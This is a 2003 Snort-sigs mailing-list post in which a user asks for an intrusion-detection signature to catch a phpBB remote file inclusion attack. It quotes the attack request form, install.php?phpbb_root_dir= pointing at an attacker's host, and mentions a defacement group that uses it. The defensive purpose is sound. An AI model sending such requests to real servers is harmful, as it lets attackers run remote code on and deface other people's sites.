[Snort-sigs] install.php?phpbb_root_dir=http:// sig?

From: Eric Appelboom <eric(at)mweb.com>
Date: Tue May 20 2003 - 07:21:13 EDT

Could someone write a signature for request like http://URL/install.php?phpbb_root_dir=http://MYBOX/

As described at
http://www.securiteam.com/unixfocus/5WP0E2A7FA.html

This is the favourite exploit of mass defacers Perfect.Br http://www.zone-h.org/en/defacements/filter/filter_defacer=Perfect.Br/

Best regards
Eric

---

This SF.net email is sponsored by: ObjectStore. If flattening out C++ or Java code to make your application fit in a relational database is painful, don't do it! Check out ObjectStore. Now part of Progress Software. http://www.objectstore.net/sourceforge

---

Snort-sigs mailing list
Snort-sigs@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/snort-sigs Received on Tue May 20 08:00:10 2003